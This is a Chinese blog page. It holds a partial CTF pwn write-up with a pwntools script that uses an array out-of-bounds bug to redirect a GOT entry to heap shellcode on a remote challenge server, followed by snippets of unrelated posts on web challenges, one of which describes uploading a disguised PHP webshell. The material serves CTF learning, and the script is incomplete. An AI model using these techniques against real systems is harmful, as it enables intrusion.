ps:不是乙個完整的write-up,只是標了一下重點方便自己以後看看。。。
參考:1.
2.
是乙個陣列越界的漏洞,而且可以堆疊執行shell。所以大致思路為申請一些堆塊並寫入shllcode,然後將某乙個函式的got表修指向堆塊shell,呼叫該函式執行shellcode,進而獲得shell。理想很豐滿,現實很骨感。
那麼問題來了,shellcode怎麼寫?每個堆塊的data區只能寫7個位元組,太短了(滑稽),怎麼處理?shellcode怎麼寫?原理是啥?
context.update(arch='amd64')#64位
#io=process("./note")
io=remote("111.198.29.45",59605)
#利用函式的一般寫法
#收到,傳送(引數)
def add(index,content):
io.recvuntil("your choice>>")
io.sendline("1")
io.recvuntil("index:")
io.sendline(str(index))
io.recvuntil("size:")
io.sendline("8") #全部申請為最大堆塊8位元組
io.recvuntil("content:")
io.sendline(content)
def dele(index):
io.recvuntil("your choice>>")
io.sendline("4")
io.recvuntil("index:")
io.sendline(str(index))
add(0,"/bin/sh")
add(-17,asm("xor rsi,rsi")+"\x90\x90\xeb\x19") #0x90即nop ;eb即 jmp short
檢視任意一條彙編指令的機器碼做法:
開啟kali終端
python
from pwn import *
enhex(asm("彙編**"))
arch設定架構為amd64,可以簡單的認為設定為64位的模式
攻防世界mfw 攻防世界 Web mfw
題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...
攻防世界Web lottery
開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...
攻防世界 xctf Guess writeup
本題的解析官網上有,這裡是乙個自動化的指令碼,完成的是自動上傳乙個ant.jpg的檔案 ant.jpg是乙個ant.zip壓縮包重新命名的檔案,裡面是乙個ant.php的一句話木馬 執行返回的是在web後台這個檔案重新命名後的檔案的url。可通過zip偽協議訪問這個木馬。指令碼如下 import r...